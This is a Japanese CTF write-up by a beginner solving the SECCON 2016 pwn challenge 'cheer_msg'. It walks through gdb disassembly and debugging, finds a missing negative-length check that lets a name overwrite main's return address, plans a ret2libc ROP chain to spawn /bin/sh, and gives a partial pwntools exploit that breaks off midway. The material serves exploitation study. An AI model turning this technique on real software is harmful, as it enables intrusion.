LoginSignup
7
14

More than 5 years have passed since last update.

CTF初心者がpwnのお勉強をするだけ ~SECCON 2016 Online予選より "cheer_msg"~

Posted at

1.はじめに

 先日投稿したbin編の問題をpwn編に流用しようとしたら大失敗をしていた事に気づいて傷心していたところ、某氏のお力添えによりなんとか立ち直りかけております。
 初心者の癖に偉そうに紹介なんざせずたまには真面目にpwnのお勉強をしてみようと思い立ったため、今回もSECCON様のOnline予選より問題を引用させて頂き、少し勉強していこうかなあ…と思います。なので今回はただただ問題を解いているときの私の脳内を垂れ流しているだけです。

2.本題

Host : cheermsg.pwn.seccon.jp
Port : 30527

cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)

(SECCON 2016 Online予選より "cheer_msg")

 というわけで、作問者様の解説ページを参考にこの問題を解いていきたいと思います。
 当然ですがこのサーバーは現在稼働していないので、SECCON様のgithubから問題のバイナリとフラグの入ったテキストを入手して同じディレクトリに叩き込んで作業開始です。

 とりあえず動かしてみましょうか。環境はUbuntu 14.04 x86_64です。


shir0@shir0:~/src$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> 10
Message >> AAAA

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> BBBB

Thank you BBBB!
Message : AAAA

 某大先輩様に応援メッセージ(cheer_msg)を送るプログラムみたいですね。
 %xを入力欄にいれても変な挙動は起こさないのでFormat_string attackは通らないっぽいですね。地道に行きましょうか。main関数を逆アセンブルします。


shir0@shir0:~/src$ gdb -q cheer_msg
Reading symbols from cheer_msg...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
   0x080485ca <+0>: lea    ecx,[esp+0x4]
   0x080485ce <+4>: and    esp,0xfffffff0
   0x080485d1 <+7>: push   DWORD PTR [ecx-0x4]
   0x080485d4 <+10>:    push   ebp
   0x080485d5 <+11>:    mov    ebp,esp
   0x080485d7 <+13>:    push   ecx
   0x080485d8 <+14>:    sub    esp,0x24
   0x080485db <+17>:    mov    DWORD PTR [esp],0x80487e0
   0x080485e2 <+24>:    call   0x8048430 <printf@plt>
   0x080485e7 <+29>:    call   0x804870d <getint>
   0x080485ec <+34>:    mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:    lea    edx,[eax+0xf]
   0x080485f5 <+43>:    mov    eax,0x10
   0x080485fa <+48>:    sub    eax,0x1
   0x080485fd <+51>:    add    eax,edx
   0x080485ff <+53>:    mov    ecx,0x10
   0x08048604 <+58>:    mov    edx,0x0
   0x08048609 <+63>:    div    ecx
   0x0804860b <+65>:    imul   eax,eax,0x10
   0x0804860e <+68>:    sub    esp,eax
   0x08048610 <+70>:    lea    eax,[esp+0x8]
   0x08048614 <+74>:    add    eax,0xf
   0x08048617 <+77>:    shr    eax,0x4
   0x0804861a <+80>:    shl    eax,0x4
   0x0804861d <+83>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048620 <+86>:    mov    eax,DWORD PTR [ebp-0x10]
   0x08048623 <+89>:    mov    DWORD PTR [esp+0x4],eax
   0x08048627 <+93>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804862a <+96>:    mov    DWORD PTR [esp],eax
   0x0804862d <+99>:    call   0x804863c <message>
   0x08048632 <+104>:   leave  
   0x08048633 <+105>:   ret    
   0x08048634 <+106>:   nop
   0x08048635 <+107>:   nop
   0x08048636 <+108>:   nop
   0x08048637 <+109>:   nop
   0x08048638 <+110>:   nop
   0x08048639 <+111>:   nop
   0x0804863a <+112>:   nop
   0x0804863b <+113>:   nop
End of assembler dump.

 目を引くものは謎の関数"getint"と"message"ぐらいですかね。それぞれ逆アセンブルしてみましょう。

 "getint"関数


gdb-peda$ disass getint
Dump of assembler code for function getint:
   0x0804870d <+0>: push   ebp
   0x0804870e <+1>: mov    ebp,esp
   0x08048710 <+3>: sub    esp,0x68
   0x08048713 <+6>: mov    eax,gs:0x14
   0x08048719 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804871c <+15>:    xor    eax,eax
   0x0804871e <+17>:    mov    DWORD PTR [esp+0x4],0x40
   0x08048726 <+25>:    lea    eax,[ebp-0x4c]
   0x08048729 <+28>:    mov    DWORD PTR [esp],eax
   0x0804872c <+31>:    call   0x80486bd <getnline>
   0x08048731 <+36>:    lea    eax,[ebp-0x4c]
   0x08048734 <+39>:    mov    DWORD PTR [esp],eax
   0x08048737 <+42>:    call   0x80484a0 <atoi@plt>
   0x0804873c <+47>:    mov    edx,DWORD PTR [ebp-0xc]
   0x0804873f <+50>:    xor    edx,DWORD PTR gs:0x14
   0x08048746 <+57>:    je     0x804874d <getint+64>
   0x08048748 <+59>:    call   0x8048450 <__stack_chk_fail@plt>
   0x0804874d <+64>:    leave  
   0x0804874e <+65>:    ret    
End of assembler dump.

 "message"関数

Dump of assembler code for function message:
   0x0804863c <+0>: push   ebp
   0x0804863d <+1>: mov    ebp,esp
   0x0804863f <+3>: sub    esp,0x68
   0x08048642 <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048645 <+9>: mov    DWORD PTR [ebp-0x5c],eax
   0x08048648 <+12>:    mov    eax,gs:0x14
   0x0804864e <+18>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048651 <+21>:    xor    eax,eax
   0x08048653 <+23>:    mov    DWORD PTR [esp],0x8048826
   0x0804865a <+30>:    call   0x8048430 <printf@plt>
   0x0804865f <+35>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048662 <+38>:    mov    DWORD PTR [esp+0x4],eax
   0x08048666 <+42>:    mov    eax,DWORD PTR [ebp-0x5c]
   0x08048669 <+45>:    mov    DWORD PTR [esp],eax
   0x0804866c <+48>:    call   0x80486bd <getnline>
   0x08048671 <+53>:    mov    DWORD PTR [esp],0x8048834
   0x08048678 <+60>:    call   0x8048430 <printf@plt>
   0x0804867d <+65>:    mov    DWORD PTR [esp+0x4],0x40
   0x08048685 <+73>:    lea    eax,[ebp-0x4c]
   0x08048688 <+76>:    mov    DWORD PTR [esp],eax
   0x0804868b <+79>:    call   0x80486bd <getnline>
   0x08048690 <+84>:    mov    eax,DWORD PTR [ebp-0x5c]
   0x08048693 <+87>:    mov    DWORD PTR [esp+0x8],eax
   0x08048697 <+91>:    lea    eax,[ebp-0x4c]
   0x0804869a <+94>:    mov    DWORD PTR [esp+0x4],eax
   0x0804869e <+98>:    mov    DWORD PTR [esp],0x804887d
   0x080486a5 <+105>:   call   0x8048430 <printf@plt>
   0x080486aa <+110>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080486ad <+113>:   xor    eax,DWORD PTR gs:0x14
   0x080486b4 <+120>:   je     0x80486bb <message+127>
   0x080486b6 <+122>:   call   0x8048450 <__stack_chk_fail@plt>
   0x080486bb <+127>:   leave  
   0x080486bc <+128>:   ret    
End of assembler dump.

 もう一つ、"getnline"という関数が出てきたのでこれも一応

"getnline"関数

gdb-peda$ disass getnline
Dump of assembler code for function getnline:
   0x080486bd <+0>: push   ebp
   0x080486be <+1>: mov    ebp,esp
   0x080486c0 <+3>: sub    esp,0x28
   0x080486c3 <+6>: mov    eax,ds:0x804a040
   0x080486c8 <+11>:    mov    DWORD PTR [esp+0x8],eax
   0x080486cc <+15>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080486cf <+18>:    mov    DWORD PTR [esp+0x4],eax
   0x080486d3 <+22>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080486d6 <+25>:    mov    DWORD PTR [esp],eax
   0x080486d9 <+28>:    call   0x8048440 <fgets@plt>
   0x080486de <+33>:    mov    DWORD PTR [esp+0x4],0xa
   0x080486e6 <+41>:    mov    eax,DWORD PTR [ebp+0x8]
   0x080486e9 <+44>:    mov    DWORD PTR [esp],eax
   0x080486ec <+47>:    call   0x8048470 <strchr@plt>
   0x080486f1 <+52>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486f4 <+55>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x080486f8 <+59>:    je     0x8048700 <getnline+67>
   0x080486fa <+61>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080486fd <+64>:    mov    BYTE PTR [eax],0x0
   0x08048700 <+67>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048703 <+70>:    mov    DWORD PTR [esp],eax
   0x08048706 <+73>:    call   0x8048480 <strlen@plt>
   0x0804870b <+78>:    leave  
   0x0804870c <+79>:    ret    
End of assembler dump.

 先述の作問者様のページによると、Message Lengthを受け取る際に負数チェックがなされていないとのことなのでそれぞれの関数の逆アセンブル結果を見てみると、確かに正の整数を受け取るまで入力を聞き返すようなループ処理(アセンブリの視点で見ると分岐命令)等が見当たりませんね。

 「え?でもgetintとmessageの終わりの方にje命令あるけどこれは違うの?」と一瞬思いましたが、これはその直後にあるcall命令の内容(__stack_chk_fail@plt)よりSSP(Stack Smashing Protection)によるものであると考えられますね。

 つまりここでリターンアドレスが破壊されていないかどうかを判定しているということです。同時に、今回は古典的なバッファオーバーフローは通用しないことがわかります。(オーバーリード等でメモリの内容をリークさせる手法でcanaryの値を読み出して、それを攻撃用のバッファにバイパスさせることでSSPを回避するといった例も一部存在はしますが…)

 また、負の値を読み込んだらその値に-1をかけて正の整数にする(ここまでは流石に無いと思いますが)といったタイプの処理も見当たりません。(手元でそれを試してみたところ、符号反転を行うアセンブリ命令であるneg命令なんてものが見つかりました。面白いですね…)

 確かに負数チェックがなされていないという事実に納得したところでpwnの方針についてページを読み進めて行くと、main関数内でesp-eaxをすることでメッセージの内容を格納するためにespの値を低位に移動させているらしいです。しかしここでeaxに負数を代入することで負数を減算(=加算)、つまりespの値を高位に移せるというわけですね。

 そしてespをある位置に動かして、名前の入力欄で入力した値がmain関数のリターンアドレスの格納されている位置を上書きするように調整します。

 手始めにMessage Lengthを-100 名前のパターンの長さを100程度にしてみましょうか。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -100
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Thank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!
Message : ��

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd08c ("bAA1AAGAAcAA2AA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>: mov    DWORD PTR [esp],eax
   0x804862d <main+99>: call   0x804863c <message>
   0x8048632 <main+104>:    leave  
=> 0x8048633 <main+105>:    ret    
   0x8048634 <main+106>:    nop
   0x8048635 <main+107>:    nop
   0x8048636 <main+108>:    nop
   0x8048637 <main+109>:    nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c ("bAA1AAGAAcAA2AA")
0004| 0xffffd090 ("AAGAAcAA2AA")
0008| 0xffffd094 ("AcAA2AA")
0012| 0xffffd098 --> 0x414132 ('2AA')
0016| 0xffffd09c --> 0x76647200 ('')
0020| 0xffffd0a0 --> 0x1 
0024| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0028| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AA
bAA1AAGAAcAA2AA found at offset: 48
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd090 ("AAGAAcAA2AA")
EIP: 0x31414162 ('bAA1')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31414162
[------------------------------------stack-------------------------------------]
0000| 0xffffd090 ("AAGAAcAA2AA")
0004| 0xffffd094 ("AcAA2AA")
0008| 0xffffd098 --> 0x414132 ('2AA')
0012| 0xffffd09c --> 0x76647200 ('')
0016| 0xffffd0a0 --> 0x1 
0020| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0024| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
0028| 0xffffd0ac --> 0x8048632 (<main+104>: leave)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31414162 in ?? ()

offsetが48となったので、-(100+48)で-148をMessage Lengthに渡せば、名前入力欄で書く内容がmainのリターンアドレスを格納している位置の内容を上書きしてくれます。

ちなみに私は最初に作問者様のページを読んで、「なんでこっちだとMessage Lengthに-144を渡してるんだろ…アセンブリ地道に見ていけば出るかな…」と思い、アセンブリを読みながら色々計算してみました。

   0x080485e7 <+29>:    call   0x804870d <getint>
   0x080485ec <+34>:    mov    DWORD PTR [ebp-0x10],eax
   0x080485ef <+37>:    mov    eax,DWORD PTR [ebp-0x10]
   0x080485f2 <+40>:    lea    edx,[eax+0xf]
   0x080485f5 <+43>:    mov    eax,0x10
   0x080485fa <+48>:    sub    eax,0x1
   0x080485fd <+51>:    add    eax,edx
   0x080485ff <+53>:    mov    ecx,0x10
   0x08048604 <+58>:    mov    edx,0x0
   0x08048609 <+63>:    div    ecx
   0x0804860b <+65>:    imul   eax,eax,0x10
   0x0804860e <+68>:    sub    esp,eax

 上のmain関数の逆アセンブル結果の一部により、esp-eaxを行う直前のeaxの値が
 [{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]になることが分かります。
 

 [----------------------------------registers-----------------------------------]
EAX: 0x80 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x10 
EDX: 0x2 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd118 --> 0x0 
ESP: 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
EIP: 0x8048610 (<main+70>:  lea    eax,[esp+0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048609 <main+63>: div    ecx
   0x804860b <main+65>: imul   eax,eax,0x10
   0x804860e <main+68>: sub    esp,eax
=> 0x8048610 <main+70>: lea    eax,[esp+0x8]
   0x8048614 <main+74>: add    eax,0xf
   0x8048617 <main+77>: shr    eax,0x4
   0x804861a <main+80>: shl    eax,0x4
   0x804861d <main+83>: mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
0004| 0xffffd074 --> 0xf7ffd938 --> 0x0 
0008| 0xffffd078 --> 0x40 ('@')
0012| 0xffffd07c --> 0x804873c (<getint+47>:    mov    edx,DWORD PTR [ebp-0xc])
0016| 0xffffd080 --> 0xffffd09c --> 0x303031 ('100')
0020| 0xffffd084 --> 0x40 ('@')
0024| 0xffffd088 --> 0x0 
0028| 0xffffd08c --> 0xf7e7c423 (<setbuffer+227>:   jmp    0xf7e7c3d3 <setbuffer+147>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048610 in main ()
gdb-peda$ i r
eax            0x80 0x80
ecx            0x10 0x10
edx            0x2  0x2
ebx            0xf7fc0000   0xf7fc0000
esp            0xffffd070   0xffffd070         ///////////////////espの値//////////////////
ebp            0xffffd118   0xffffd118
esi            0x0  0x0
edi            0x0  0x0
eip            0x8048610    0x8048610 <main+70>
eflags         0x282    [ SF IF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0  0x0
gs             0x63 0x63
gdb-peda$ c
Continuing.

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> NAME

 [----------------------------------registers-----------------------------------]
EAX: 0xffffd01c ("NAME\n")
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0xf7fd9005 --> 0xa4547 ('GE\n')
EDX: 0xf7fc18a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcff8 --> 0xffffd068 --> 0xffffd118 --> 0x0 
ESP: 0xffffcfd0 --> 0xffffd01c ("NAME\n")
EIP: 0x80486de (<getnline+33>:  mov    DWORD PTR [esp+0x4],0xa)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486d3 <getnline+22>: mov    eax,DWORD PTR [ebp+0x8]
   0x80486d6 <getnline+25>: mov    DWORD PTR [esp],eax
   0x80486d9 <getnline+28>: call   0x8048440 <fgets@plt>
=> 0x80486de <getnline+33>: mov    DWORD PTR [esp+0x4],0xa
   0x80486e6 <getnline+41>: mov    eax,DWORD PTR [ebp+0x8]
   0x80486e9 <getnline+44>: mov    DWORD PTR [esp],eax
   0x80486ec <getnline+47>: call   0x8048470 <strchr@plt>
   0x80486f1 <getnline+52>: mov    DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffd01c ("NAME\n")            ///////////////リターンアドレスの格納位置/////////////
0004| 0xffffcfd4 --> 0x40 ('@')
0008| 0xffffcfd8 --> 0xf7fc0c20 --> 0xfbad2288 
0012| 0xffffcfdc --> 0xf7e63dff (<printf+47>:   add    esp,0x18)
0016| 0xffffcfe0 --> 0xf7fc0ac0 --> 0xfbad2887 
0020| 0xffffcfe4 --> 0x8048834 ("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ")
0024| 0xffffcfe8 --> 0xffffd004 --> 0x40 ('@')
0028| 0xffffcfec --> 0xffffd087 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080486de in getnline ()


gdb-peda$ p 0xffffd070-0xffffd01c
$1 = 0x54

 また、この命令群の直後の命令にブレークポイントを置いてi r esp等のコマンドでespの値を調べ、message関数内の名前を読み込むのに使われるgetnline関数の中のgetf関数の直後にブレークポイントを置いて名前を格納しているスタックのアドレスを調べて差を取ります。

 すると、gdb上でeaxを減算した後のespと、名前入力欄で入力した値が格納されているスタックのアドレスの差は(手元のgdb上で試した限りでは常に)0x54であることも分かります。

 また、mainのリターンアドレスの格納位置はmain関数の最後の方にあるret命令にブレークポイントを置いてあげれば、そのときにスタックの一番上に積まれている値はリターンアドレスのはずなので、そこを調べて求めてあげましょう。ret命令は実際(厳密には違うのかもしれませんが)pop eipのような働きをすると記憶しているもので…(もっと簡単な方法があるのかもしれませんが)

gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg 
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -148
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd11c ("AAAA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804862a <main+96>: mov    DWORD PTR [esp],eax
   0x804862d <main+99>: call   0x804863c <message>
   0x8048632 <main+104>:    leave  
=> 0x8048633 <main+105>:    ret    
   0x8048634 <main+106>:    nop
   0x8048635 <main+107>:    nop
   0x8048636 <main+108>:    nop
   0x8048637 <main+109>:    nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd11c ("AAAA")                   /////////////////////ここ!//////////////////////
0004| 0xffffd120 --> 0x8040000 
0008| 0xffffd124 --> 0x0 
0012| 0xffffd128 --> 0x0 
0016| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
0020| 0xffffd130 --> 0x1 
0024| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0028| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048633 in main ()

リターンアドレスの格納位置はわかったので、先程のespとの差である0x54を足して、esp-eaxの演算結果を出すと

gdb-peda$ p 0xffffd08c+0x54
$1 = 0xffffd0e0

減算処理をするsub esp eaxの位置(0x0804860e)にブレークポイントをおき、i r espでespの値を求め(結果:esp => 0xffffd060)、eaxの値を求めると

gdb-peda$ p 0xffffd060-0xffffd0e0
$2 = 0xffffff80

後は先程の
(esp-eax直前の) eax = [{(Message Lengthに渡した値)+0x1e}を0x10で割ったときの商}*0x10]
より、逆算していくだけなので

gdb-peda$ p 0xffffff80/0x10
$3 = 0xffffff8
gdb-peda$ p 0xffffff80/0x10
$4 = 0xffffff8
gdb-peda$ p 0xffffff8*0x10
$5 = 0xffffff80
gdb-peda$ p 0x1e- 0xffffff80
$6 = 0x9e
gdb-peda$ p /d 0x9e
$7 = 158

 というわけで、-158を入力してもリターンアドレスの書き換えが可能であることも分かります。
ツールで求めた値や作問者様の求めた値と微妙に違う原因は上の計算式で「~を0x10で割ったときの商}*0x10」を生み出しているmain関数中の命令div ecx; imul eax eax 0x10;にあります。div ecxでは、eaxの値をecxで割り、その商をeaxに、余りをecxに格納します。直前の命令を見ればわかりますが今回のecxの値は0x10なので、eaxの値は位が1つ下がり最小桁が実質切り捨てられます。さらにそのあとimul eax, eax, 0x10でeaxの値にeaxの値を0x10倍した値(位が1つ上がり、最小桁は0)になります。

 要は(Message Lengthに渡した値)+0x1eの値の最小1桁は自動的に0になってしまうということです。上の例で言えば0xffffff8?の?の部分はその後の計算で0にされてしまうので、リターンアドレスの書き換えに成功するためには、上7桁が"0xffffff8"になれば良いというわけです。これが作問者様のページで使われているMessage Lengthと私の求めたMessage Lengthが異なる理由の1つであると考えられます。(まあ大半の原因はlibcの違いだと考えられますが)

 実際に動かしてみると、この環境ではMessage Lengthの値を-143(=-(158-15))から-158にした場合はリターンアドレスの書き換えに成功しますが、-142以上または-159以下にすると意図した値への書き換えに失敗します。

 Message Length > -143の場合(リターンアドレスが0x41414141になっている)

Message Length >> -143

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

 Message Length > -142の場合(正常に終了)

Message Length >> -142
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 
[Inferior 1 (process 2884) exited normally]
Warning: not running or target is remote

 Message Length > -159の場合(本来とは別のところに処理が飛んではいるが、書き換え後の値が意図した"AAAA"(0x41414141)になっていない)

Message Length >> -159
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1d 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd190 --> 0x1 
ESP: 0xffffd120 --> 0x8048750 (<__libc_csu_init>:   push   ebp)
EIP: 0xffffd190 --> 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffd18a:  jecxz  0xffffd183
   0xffffd18c:  add    al,dl
   0xffffd18e:  push   edi
=> 0xffffd190:  add    DWORD PTR [eax],eax
   0xffffd192:  add    BYTE PTR [eax],al
   0xffffd194:  mov    al,0x84
   0xffffd196:  add    al,0x8
   0xffffd198:  add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8048750 (<__libc_csu_init>:  push   ebp)
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c ("AAAA")
0016| 0xffffd130 --> 0x0 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd190 in ?? ()

 Message Length > -158の場合(リターンアドレスが0x41414141になっている)

Message Length >> -158
Message >> 
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message : 

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1a8da8 
ECX: 0x1c 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd120 --> 0x8040000 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000 
0004| 0xffffd124 --> 0x0 
0008| 0xffffd128 --> 0x0 
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1 
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add    ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

 これらの情報を元に、攻撃を組み立てていきます。flagを奪取する手段として、flag.txtの内容を表示するためにシェルを奪取します。攻撃の方針としては、ROPを用いて「cheer_msgの実行→libcのアドレスのリーク→mainにリターン→リークした情報を元にシェルを起動」が楽だと考えられるので、その方針でコードを書きます。(cheer_msgが一度実行を終了してしまうとASLRによってアドレスが再配置され、せっかくリークしたアドレスが意味をなさなくなってしまうので、一度の実行の内にmainを2度実行します)

 libcのアドレスをリークするためのコードを送り込んだ後のスタック

(スタック低位)
printf関数のPLTアドレス(元々のリターンアドレスが格納されている位置)
main関数のアドレス(printf実行後のリターン先)
printf関数のGOTアドレス(printfの引数)
(スタック高位)

 シェルを起動するためのコードを送り込んだ後のスタック

(スタック低位)
system関数のアドレス(元々のリターンアドレスが格納されている位置)
"AAAA"(system実行後のリターン先 基本適当でOK)
"/bin/sh"が存在するアドレス(systemの引数)
(スタック高位)

 以上のようにするための攻撃コードを書くと

#!/usr/bin/env python 

from pwn import *
context(arch = 'i386', os = 'linux')

libc = ELF("/lib32/libc.so.6")

bin_file = ELF("./cheer_msg")


plt_printf_addr = bin_file.plt['printf']
got_printf_addr = bin_file.got['printf']
func_main_addr  = bin_file.functions['main'].address

conn = remote('127.0.0.1', 30527)


conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))


memleak =  p32(plt_printf_addr)
memleak += p32(func_main_addr) 
memleak += p32(got_printf_addr)

conn.recvuntil('Name >> ')
conn.sendline(memleak)

conn.recvuntil('Message : \n')

leaked_string    = conn.recvline()
libc_printf_addr = u32(leaked_string[0:4])
print "libc_printf_addr = %s" % hex(libc_printf_addr)


libc_base_addr   = libc_printf_addr - libc.symbols['printf']
print "libc_base_addr   = %s" % hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc.symbols['system']
libc_shell_addr  = libc_base_addr + next(libc.search('/bin/sh\x00'))

conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
